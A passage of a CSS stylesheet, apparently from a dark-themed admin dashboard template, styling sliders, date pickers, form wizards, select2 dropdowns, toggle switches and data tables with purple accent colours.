ease-out; } 100% { transform: translateZ(-200px); } } @keyframes OpenTop { 50% { transform: rotateX(10deg); animation-timing-function: ease-out; } } .slider.slider-horizontal .slider-handle.triangle, .slider.slider-horizontal .slider-tick.triangle { border-bottom-color: #51459d; } .slider.slider-vertical .slider-handle.triangle, .slider.slider-vertical .slider-tick.triangle { border-left-color: #51459d; border-right-color: #51459d; } .slider.slider-disabled .slider-handle { background-image: linear-gradient(to bottom, #dfdfdf 0, #bebebe 100%); background-repeat: repeat-x; } .slider.slider-disabled .slider-track { background-image: linear-gradient(to bottom, #22242c 0, #22242c 100%); background-repeat: repeat-x; } .slider-track { background-image: linear-gradient(to bottom, #22242c 0, #22242c 100%); background-repeat: repeat-x; } .slider-selection { background-image: linear-gradient(to bottom, #9b92cf 0, #9b92cf 100%); background-repeat: repeat-x; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } .slider-handle { background-color: #51459d; background-image: linear-gradient(to bottom, #51459d 0, #51459d 100%); background-repeat: repeat-x; } .slider-tick { background-image: linear-gradient(to bottom, #f9f9f9 0, #f5f5f5 100%); background-repeat: repeat-x; } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } #ex7-enabled { position: relative; top: 4px; height: 18px; width: 18px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #B, #G, #R { width: 300px; } .slider-handle.custom { background: transparent none; } .slider-handle.custom::before { line-height: 15px; font-size: 28px; content: '\2605'; color: #726204; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: #6fd943; } #slider12b .slider-track-low { background: #ff3a6e; } #slider12c .slider-track-low { background: #ff3a6e; } #slider12c .slider-selection { background: #ffa21d; } #slider22 .slider-rangeHighlight { background: #f70616; } #slider22 .slider-rangeHighlight.category1 { background: #FF9900; } #slider22 .slider-rangeHighlight.category2 { background: #99CC00; } .vtree a.vtree-leaf-label { color: #808191; } .vtree a.vtree-leaf-label:hover, .vtree a.vtree-leaf-label:focus, .vtree a.vtree-leaf-label:active { color: #51459d; } .daterangepicker { font-family: "Open Sans", sans-serif; border: 1px solid rgba(0, 0, 0, 0.15); box-shadow: 0 0 25px rgba(81, 69, 157, 0.15); background-color: #292A33; } .daterangepicker .calendar-table { border: 1px solid #292A33; background-color: #292A33; } .daterangepicker .calendar-table td, .daterangepicker .calendar-table th { color: #6c757d; } .daterangepicker .calendar-table .next span, .daterangepicker .calendar-table .prev span { border-color: #adb5bd; } .daterangepicker td.in-range { background-color: #a8a0d5; color: #495057; } .daterangepicker td.off, .daterangepicker td.off.end-date, .daterangepicker td.off.in-range, .daterangepicker td.off.start-date { background-color: #292A33; color: #808191; opacity: 0.5; } .daterangepicker td.active, .daterangepicker td.active:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover, .daterangepicker th.available:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover > span, .daterangepicker th.available:hover > span { border-color: #fff; } .daterangepicker:after { border-bottom: 6px solid #292A33; } .daterangepicker:before { border-bottom: 7px solid rgba(0, 0, 0, 0.15); } .daterangepicker .ranges ul { padding-top: 15px; padding-bottom: 15px; } @media (min-width: 564px) { .daterangepicker .ranges ul { width: 160px; } } .daterangepicker .ranges ul li { margin: 5px 10px; transition: all 0.2s ease-in-out; } .daterangepicker .ranges ul li.active { background-color: #51459d; } .daterangepicker .ranges ul li:hover { box-shadow: 0 15px 8px -9px rgba(0, 0, 0, 0.25); background-color: #51459d; color: #fff; } .daterangepicker .drp-buttons { border-top: 1px solid rgba(0, 0, 0, 0.15); } .daterangepicker.show-ranges .drp-calendar.left { border-left: 1px solid rgba(0, 0, 0, 0.15); } .datepicker-dropdown .datepicker-picker { box-shadow: 0 1px 10px 0 rgba(69, 90, 100, 0.2); } .datepicker-view .week { color: #51459d; } .datepicker-cell.selected { background-color: #51459d; color: #fff; } .datepicker-cell.selected:hover { background-color: #51459d; color: #fff; } .datepicker-cell.disabled { color: #dcdaeb; background-color: #22242c; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today) { background-color: #dcdaeb; color: #51459d; border-radius: 0; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today):not(.disabled):hover { background-color: #dcdaeb; color: #51459d; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today).focused { background-color: #51459d; color: #fff; } .datepicker-input.in-edit { border-color: #51459d; } .bootstrap-tagsinput { padding: 5px 10px; line-height: 28px; background: #22242c; border: 1px solid #3E3F4A; border-radius: 10px; width: 100%; } .bootstrap-tagsinput .tag { background: #51459d; padding: 5px 12px; color: #fff; border-radius: 10px; } .bootstrap-maxlength { background: #51459d; border-radius: 10px; padding: 5px 10px; color: #fff; } .bootstrap-maxlength.label-danger { background: theme-color("danger"); } .bootstrap-maxlength.label-success { background: theme-color("success"); } .bootstrap-maxlength.label-warning { background: theme-color("warning"); } .divider-body { border-color: #22242c; background: #22242c; } .sw .toolbar { padding: 25px 25px; } .sw .toolbar > .btn.disabled, .sw .toolbar > .btn:disabled { opacity: 0.5; } .sw > .nav .nav-link { padding: 1rem; } .sw.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw.sw-dark h4, .sw.sw-dark .h4 { color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-select, .sw.sw-dark .form-control, .sw.sw-dark .custom-select, .sw.sw-dark .dataTable-selector, .sw.sw-dark .dataTable-input { background: #222a39; border-color: #273142; color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-check-input:not(:checked[type="radio"]) { background: #222a39; } .sw.sw-dark .divider-body { border-color: #273142 !important; background: #273142; } .sw.sw-loading::before { border-color: #3E3F4A; border-top-color: 10px solid #51459d; } /* SmartWizard Theme: Default */ .sw-theme-default { border: 1px solid #3E3F4A; } .sw-theme-default > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-default .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-default > .nav { box-shadow: none !important; border-bottom: 1px solid #3E3F4A; } .sw-theme-default > .nav .nav-link::after { background: #22242c; } .sw-theme-default > .nav .nav-link.inactive { color: #6c757d; } .sw-theme-default > .nav .nav-link.active { color: #51459d !important; } .sw-theme-default > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default > .nav .nav-link.done { color: #51459d !important; } .sw-theme-default > .nav .nav-link.done::after { background: #dcdaeb; } .sw-theme-default > .nav .nav-link.danger { color: #ff3a6e !important; } .sw-theme-default > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-default.sw-dark > .nav { box-shadow: none !important; border-bottom: 1px solid #3E3F4A; } .sw-theme-default.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-default.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-default.sw-dark > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.75) !important; } .sw-theme-default.sw-dark > .nav .nav-link.done::after { background: rgba(255, 255, 255, 0.75); } /* SmartWizard Theme: Arrows */ .sw-theme-arrows { border: 1px solid #3E3F4A; } .sw-theme-arrows > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-arrows .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-arrows > .nav { border-bottom: 1px solid #3E3F4A; background-color: #22242c; } .sw-theme-arrows > .nav .nav-link { padding-left: 40px; } .sw-theme-arrows > .nav .nav-link::after { border-left-color: #22242c; } .sw-theme-arrows > .nav .nav-link::before { border-left-color: #22242c; } .sw-theme-arrows > .nav .nav-link.inactive { color: #6c757d; border-color: #22242c; background: #22242c; } .sw-theme-arrows > .nav .nav-link.active { color: #ffffff; border-color: #51459d; background: #51459d; } .sw-theme-arrows > .nav .nav-link.active::after { border-left-color: #51459d; } .sw-theme-arrows > .nav .nav-link.done { color: #51459d; border-color: #dcdaeb; background: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.done::after { border-left-color: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } .sw-theme-arrows.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw-theme-arrows.sw-dark > .nav { border-bottom: 1px solid #2f3b4f; background-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link::after { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link::before { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive { color: white; border-color: #2f3b4f; background: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive::after { border-left-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active { color: white; border-color: #1c232f; background: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active::after { border-left-color: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.done { color: white; border-color: #222a39; background: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.done::after { border-left-color: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } /* SmartWizard Theme: Dots */ .sw-theme-dots > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-dots .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-dots > .nav { margin-bottom: 0; } .sw-theme-dots > .nav::before { height: 5px; background-color: #3E3F4A; } .sw-theme-dots > .nav .nav-link::before { background: #3E3F4A; color: #51459d; } .sw-theme-dots > .nav .nav-link.inactive { color: #a7acb1; } .sw-theme-dots > .nav .nav-link.inactive::after { background-color: #e2e3e5; } .sw-theme-dots > .nav .nav-link.active { color: #51459d !important; } .sw-theme-dots > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots > .nav .nav-link.done { color: #6c757d; } .sw-theme-dots > .nav .nav-link.done::after { background-color: #6c757d; } .sw-theme-dots > .nav .nav-link.danger { color: #ff3a6e; } .sw-theme-dots > .nav .nav-link.danger::after { background-color: #ff3a6e; } .sw-theme-dots.sw-dark { color: rgba(255, 255, 255, 0.5); background: #1c232f; } .sw-theme-dots.sw-dark > .nav::before { background-color: #273142; } .sw-theme-dots.sw-dark > .nav .nav-link::before { background: #273142; color: black; } .sw-theme-dots.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-dots.sw-dark > .nav .nav-link.inactive::after { background-color: #7b838a; } .sw-theme-dots.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-dots.sw-dark > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.85); } .sw-theme-dots.sw-dark > .nav .nav-link.done::after { background-color: #978fc4; } /* SmartWizard Theme: Progress */ .sw-theme-progress { border: 1px solid #3E3F4A; } .sw-theme-progress > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-progress .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-progress > .nav { box-shadow: none !important; border-bottom: 1px solid #3E3F4A; } .sw-theme-progress > .nav .nav-link::after { background: #292A33; } .sw-theme-progress > .nav .nav-link.inactive { color: #6c757d; } .sw-theme-progress > .nav .nav-link.active { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.active::after { background-color: #51459d; width: 100%; } .sw-theme-progress > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.done::after { background: #51459d; } .sw-theme-progress > .nav .nav-link.danger { color: #ffffff !important; cursor: pointer; } .sw-theme-progress > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-progress.sw-dark { color: rgba(255, 255, 255, 0.5); } .sw-theme-progress.sw-dark > .nav { background: #273142; border-bottom-color: #273142; } .sw-theme-progress.sw-dark > .nav .nav-link.active { color: white; } .sw-theme-progress.sw-dark > .nav .nav-link.active::after { background-color: #1c232f; } .sw-theme-progress.sw-dark > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress.sw-dark > .nav .nav-link.done::after { background: #1c232f; } .tabcontrol, .wizard { display: block; width: 100%; overflow: hidden; } .tabcontrol a, .wizard a { outline: 0; } .tabcontrol ul, .wizard ul { list-style: none !important; padding: 0; margin: 0; } .tabcontrol ul > li, .wizard ul > li { display: block; padding: 0; } /* Accessibility */ .tabcontrol > .content > .title, .tabcontrol > .steps .current-info, .wizard > .content > .title, .wizard > .steps .current-info { position: absolute; left: -999em; } /* Wizard */ .wizard > .steps { position: relative; display: block; width: 100%; } .wizard.vertical > .steps { display: inline; float: left; width: 30%; } .wizard.vertical > .steps > ul > li { float: none; width: 100%; } .wizard.vertical > .content { display: inline; float: left; margin: 0 2.5% 0.5em; width: 65%; } .wizard.vertical > .actions { display: inline; float: right; margin: 0 2.5%; width: 95%; } .wizard.vertical > .actions > ul > li { margin: 0 0 0 1em; } .wizard > .steps .number { font-size: 1.429em; } .wizard > .steps > ul > li { width: 25%; float: left; } .wizard > .actions > ul > li { float: left; } .wizard > .steps a { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps a:active, .wizard > .steps a:hover { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps .disabled a { background: #22242c; color: #808191; cursor: default; opacity: 0.6; } .wizard > .steps .disabled a:active, .wizard > .steps .disabled a:hover { background: #22242c; color: #808191; cursor: default; } .wizard > .steps .current a { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .current a:active, .wizard > .steps .current a:hover { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .done a { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .done a:active, .wizard > .steps .done a:hover { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .error a { background: #ff3a6e; color: #fff; } .wizard > .steps .error a:active, .wizard > .steps .error a:hover { background: #ff3a6e; color: #fff; } .wizard > .content { background: #262932; display: block; margin: 0.5em; min-height: 8em; overflow: hidden; position: relative; width: auto; border-radius: 5px; } .wizard > .content > .body { padding: 25px; } .wizard > .content > .body ul { list-style: disc !important; } .wizard > .content > .body ul > li { display: list-item; } .wizard > .content > .body > iframe { border: 0 none; width: 100%; height: 100%; } .wizard > .content > .body input.error { background: #fbe3e4; border-color: #ff3a6e; color: #ff3a6e; } .wizard > .content > .body label { display: inline-block; margin-bottom: 0.5em; } .wizard > .content > .body label.error { color: #ff3a6e; display: inline-block; margin-left: 1.5em; } .wizard > .actions { position: relative; display: block; text-align: right; width: 100%; } .wizard > .actions > ul { display: inline-block; text-align: right; } .wizard > .actions > ul > li { margin: 0 0.5em; } .wizard > .actions a { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions a:active, .wizard > .actions a:hover { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions .disabled a { background: #22242c; color: #aaa; } .wizard > .actions .disabled a:active, .wizard > .actions .disabled a:hover { background: #22242c; color: #aaa; } @media (max-width: 768px) { .wizard .steps > ul > li { width: 100%; } .wizard.vertical > .steps, .wizard.vertical > .content { width: 100%; } } .dash-wizard.wizard .number { display: none; } .dash-wizard.wizard > .steps a { display: flex; align-items: center; margin: 0.5em; position: relative; } .dash-wizard.wizard > .steps a:after { content: ""; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 20px; position: absolute; right: 0; top: 20px; opacity: 0.5; } .dash-wizard.wizard > .steps a span b { display: block; } .dash-wizard.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #22242c; color: #808191; display: inline-flex; align-items: center; justify-content: center; } .dash-wizard.wizard > .steps a.disabled:hover { background: transparent; } .dash-wizard.wizard > .steps a:hover { display: flex; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-wizard.wizard > .steps .disabled a { background: transparent; } .dash-wizard.wizard > .steps .current a { background: transparent; color: inherit; } .dash-wizard.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-wizard.wizard > .steps .done a { background: transparent; } .dash-wizard.wizard > .steps .done a .num-icon { background: rgba(81, 69, 157, 0.2); color: #51459d; } .dash-wizard.wizard > .steps .done a span { color: #808191; } .dash-wizard.wizard > .content { margin: 0; border-radius: 0; border-top: 1px solid #3E3F4A; border-bottom: 1px solid #3E3F4A; } .dash-wizard.wizard > .actions { padding: 15px 25px 10px; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { margin: 0; background: #262932; width: 70%; border-left: 1px solid #3E3F4A; } .dash-wizard.wizard.vertical > .content { padding: 25px 25px 0; border-radius: 0 10px 0 0; } .dash-wizard.wizard.vertical .actions { padding: 25px; border-radius: 0 0 10px 0; } .dash-wizard.wizard.vertical > .steps { padding: 35px 10px; } .dash-wizard.wizard.vertical > .steps a:after { content: ""; right: 10px; } .dash-wizard.wizard.vertical > .steps > ul > li:last-child a:after { visibility: visible; } @media (max-width: 768px) { .dash-wizard.wizard > .steps a:after { right: 15px; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: visible; } .dash-wizard.wizard.vertical > .steps { padding: 0; } .dash-wizard.wizard.vertical > .content { padding: 0; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { width: 100%; } } .dash-tab-control.wizard .number { display: none; } .dash-tab-control.wizard > .steps a { display: flex; align-items: center; margin: 0.5em 0.5em 0; padding: 1em 1.6em; border-radius: 10px 10px 0 0; position: relative; background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps a span { color: #808191; } .dash-tab-control.wizard > .steps a span b { display: block; } .dash-tab-control.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #22242c; display: inline-flex; align-items: center; justify-content: center; } .dash-tab-control.wizard > .steps a .num-icon .material-icons-two-tone { background-color: #808191; } .dash-tab-control.wizard > .steps a.disabled:hover { background: transparent; } .dash-tab-control.wizard > .steps a:hover { display: flex; } .dash-tab-control.wizard > .steps .done a:active, .dash-tab-control.wizard > .steps .done a:hover { background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps > ul > li:last-child a { margin-right: 0; } .dash-tab-control.wizard > .steps > ul > li:first-child a { margin-left: 0; } .dash-tab-control.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-tab-control.wizard > .steps .disabled a { background: transparent; } .dash-tab-control.wizard > .steps .current a { background: #fff; color: inherit; } .dash-tab-control.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-tab-control.wizard > .steps .current a .num-icon .material-icons-two-tone { background-color: #fff; } .dash-tab-control.wizard > .content { margin: 0; border-radius: 0 0 10px 10px; background: #292A33; box-shadow: none; margin-bottom: 30px; } .dash-tab-control.wizard > .actions { padding: 15px 25px 10px; } @media (max-width: 768px) { .dash-tab-control.wizard > .steps a { margin: 0; border-radius: 10px; } } .wizard-step .error { color: #ff3a6e; } .progress { height: 6px; } .progress .ui-progressbar-value { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: 6px 6px; background-color: #51459d; animation: 1s linear infinite progress-bar-stripes; } .step-app > .step-steps { margin: 0; padding: 0; display: flex; overflow: hidden; } .step-app > .step-steps > li { list-style: none; flex: 1; cursor: pointer; display: block; padding: 20px 25px; background: #22242c; color: #808191; text-decoration: none; border-radius: 10px; } .step-app > .step-steps > li + li { margin-left: 15px; } .step-app > .step-steps > li:hover { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li.active { background-color: #51459d; color: #fff; } .step-app > .step-steps > li.error { background-color: #ffd8e2; color: #ff3a6e; } .step-app > .step-steps > li.done { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li > .number { background: #fff; padding: 0 8px; display: inline-block; text-align: center; margin-right: 15px; border-radius: 3px; color: #333; } .step-app > .step-content { padding: 20px 25px; background: #252830; border-radius: 10px; margin-top: 15px; } .step-app > .step-content > .step-tab-panel { display: none; } .step-app > .step-content > .step-tab-panel.active { display: block; } .step-app > .step-footer { margin-top: 15px; margin-bottom: 15px; } .select2-container .select2-selection--single { height: calc(1.5em + 0.75rem + 2px); } .select2-container .select2-selection--single .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; } .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } .select2-container .select2-selection--multiple { min-height: 32px; } .select2-container .select2-selection--multiple .select2-selection__rendered { padding-left: 8px; } @media (max-width: 575px) { .select2-container { width: 100% !important; } } .select2-dropdown { background-color: #fff; border: 1px solid #3E3F4A; border-radius: 3px; } .select2-container--default .select2-selection--single { background-color: #fff; border: 1px solid #3E3F4A; border-radius: 3px; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--single .select2-selection__arrow { height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--multiple { background-color: #fff; border: 1px solid #3E3F4A; border-radius: 3px; } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: #51459d; border: 1px solid #51459d; color: #fff; border-radius: 3px; padding: 2px 10px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: #fff; margin-right: 8px; position: relative; padding: 0 8px 0 0; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: #fff; background: transparent; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 8px; margin-right: auto; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #3E3F4A 1px; outline: 0; } .select2-container--default .select2-search--dropdown .select2-search__field { border: 1px solid #3E3F4A; } .select2-container--default .select2-results__option[aria-selected=true] { background-color: #22242c; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: #51459d; color: #fff; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #3E3F4A; border-radius: 3px; outline: 0; } .select2-container--classic .select2-selection--single:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #22242c; border-left: 1px solid #3E3F4A; border-top-right-radius: 3px; border-bottom-right-radius: 3px; height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border-right: 1px solid #3E3F4A; border-radius: 0; border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple { background-color: #fff; border: 1px solid #3E3F4A; border-radius: 3px; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #fff; border: 1px solid #3E3F4A; border-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #51459d; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #3E3F4A; } .select2-container--classic .select2-results__option--highlighted[aria-selected] { background-color: #3875d7; color: #fff; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #51459d; } /* nav */ .tns-controls { text-align: center; margin-bottom: 10px; } .tns-controls [aria-controls] { font-size: 15px; margin: 0 5px; padding: 0 1em; height: 2.5em; color: #fff; background: #51459d; border-radius: 3px; border: 0; } [data-action] { display: block; margin: 10px auto; font-size: 17px; min-width: 3em; text-align: center; background: transparent; border: 0; } .tns-controls [disabled] { color: #999999; background: #B3B3B3; cursor: not-allowed !important; } .tns-nav { text-align: center; margin: 10px 0; } .tns-nav > [aria-controls] { width: 9px; height: 9px; padding: 0; margin: 0 5px; border-radius: 50%; background: #ddd; border: 0; } .tns-nav > .tns-nav-active { background: #999; } .thumbnails { margin: 20px 0; text-align: center; } .thumbnails li { display: inline-block; cursor: pointer; border: 5px solid #fff; } .thumbnails .tns-nav-active { background: none; border-color: #51459d; } .thumbnails img { height: auto; width: 46px; } .customize-tools { position: relative; } .controls { text-align: center; } .controls li { display: block; position: absolute; top: 50%; height: 60px; line-height: 60px; margin-top: -30px; padding: 0 15px; cursor: pointer; font-size: 30px; transition: background 0.3s; } .controls .prev { left: 0; } .controls .next { right: 0; } .controls li:hover { background: #f2f2f2; } /** ===================== Switches css start ========================== **/ .slow .switch-group { transition: left 0.7s; -webkit-transition: left 0.7s; } .fast .switch-group { transition: left 0.1s; -webkit-transition: left 0.1s; } .quick .switch-group { transition: none; -webkit-transition: none; } .table.switch-table th, .table.switch-table td { vertical-align: middle; padding: 0.45rem .25rem; } .table.switch-table th .btn, .table.switch-table td .btn { margin-bottom: 0; } .switch.btn-outline-primary .switch-handle { background-color: #51459d !important; border-color: #51459d !important; } .switch.btn-outline-secondary .switch-handle { background-color: #6c757d !important; border-color: #6c757d !important; } .switch.btn-outline-success .switch-handle { background-color: #6fd943 !important; border-color: #6fd943 !important; } .switch.btn-outline-info .switch-handle { background-color: #3ec9d6 !important; border-color: #3ec9d6 !important; } .switch.btn-outline-warning .switch-handle { background-color: #ffa21d !important; border-color: #ffa21d !important; } .switch.btn-outline-danger .switch-handle { background-color: #ff3a6e !important; border-color: #ff3a6e !important; } .switch.btn-outline-light .switch-handle { background-color: #f8f9fa !important; border-color: #f8f9fa !important; } .switch.btn-outline-dark .switch-handle { background-color: #1c232f !important; border-color: #1c232f !important; } /**====== Switches css end ======**/ /** ===================== Data Tables css start ========================== **/ .table td, .table th { border-top: 1px solid #3E3F4A; border-bottom: 1px solid #3E3F4A; white-space: nowrap; padding: 0.7rem 0.75rem; } .table thead th { border-bottom: 1px solid #3E3F4A; font-size: 13px; color: #ffffff; background: #22242c; text-transform: uppercase; } .table tbody + tbody { border-top: 2px solid #3E3F4A; } .table.table-dark thead th { background-color: #11171a; } .table.dataTable[class*="table-"] thead th { background: #22242c; } .table > :not(:last-child) > :last-child > * { border-bottom-color: #3E3F4A; } .table > :not(:first-child) { border-top: none; } /* Border versions */ .table-bordered { border: 1px solid #3E3F4A; } .table-bordered td, .table-bordered th { border: 1px solid #3E3F4A; } /* Zebra-striping */ .table-striped tbody tr:nth-of-type(2n+1) { background-color: rgba(81, 69, 157, 0.03); } /* Hover effect */ .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } /* Table backgrounds */ .table .thead-dark th { color: #fff; background-color: #1c232f; border-color: #090b0f; } .table-dark { color: #fff; background-color: #1c232f; } .table-dark td, .table-dark th, .table-dark thead th { border-color: #090b0f; } .table-dark.table-striped tbody tr:nth-of-type(odd) { background-color: #181e29; } .table-dark.table-hover tbody tr:hover { background-color: #12171f; } .table-dark thead th { color: #fff; } /* fixed header position */ table.dataTable.fixedHeader-floating { top: calc(70px + 55px) !important; } @media screen and (max-width: 992px) { table.dataTable.fixedHeader-floating { display: none !important; } } @media screen and (max-width: 992px) { .fixedHeader-locked { display: none !important; } } /** ===================== Foo-table css start ========================== **/ .footable .pagination > .active > a, .footable .pagination > .active > span { background-color: #51459d; border-color: #51459d; } .footable .pagination > .active > a:focus, .footable .pagination > .active > a:hover, .footable .pagination > .active > span:focus, .footable .pagination > .active > span:hover { background-color: #51459d; border-color: #51459d; } .footable .pagination > li > a, .footable .pagination > li > span { color: #222; } .footable-details.table, .footable.table { margin-bottom: 0; } table.footable > tfoot > tr.footable-paging > td > span.label { margin-bottom: 0; } table.footable-paging-center > tfoot > tr.footable-paging > td { padding-bottom: 0; } .table-columned > tbody > tr > td { border: 0; border-left: 1px solid #3E3F4A; } .table-columned > tbody > tr > th { border: 0; } /**====== Foo-table css end ======**/ /**======= basic table css start =======**/ .table.table-xl td, .table.table-xl th { padding: 1.25rem 0.8rem; } .table.table-lg td, .table.table-lg th { padding: 0.9rem 0.8rem; } .table.table-de td, .table.table-de th { padding: 0.75rem 0.8rem; } .table.table-sm td, .table.table-sm th { padding: 0.6rem 0.8rem; } .table.table-xs td, .table.table-xs th { padding: 0.4rem 0.8rem; } /**======= basic table css end ======**/ #row-delete .selected, #row-select .selected { background-color: #51459d; color: #fff; } table.dataTable tbody > tr > .selected, table.dataTable tbody > tr.selected { background: #51459d; } table.dataTable tbody > tr > .selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr.selected table.dataTable tbody > tr.selected.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { text-shadow: 1px 1px #e4f2fe, -1px -1px #e4f2fe, 1px -1px 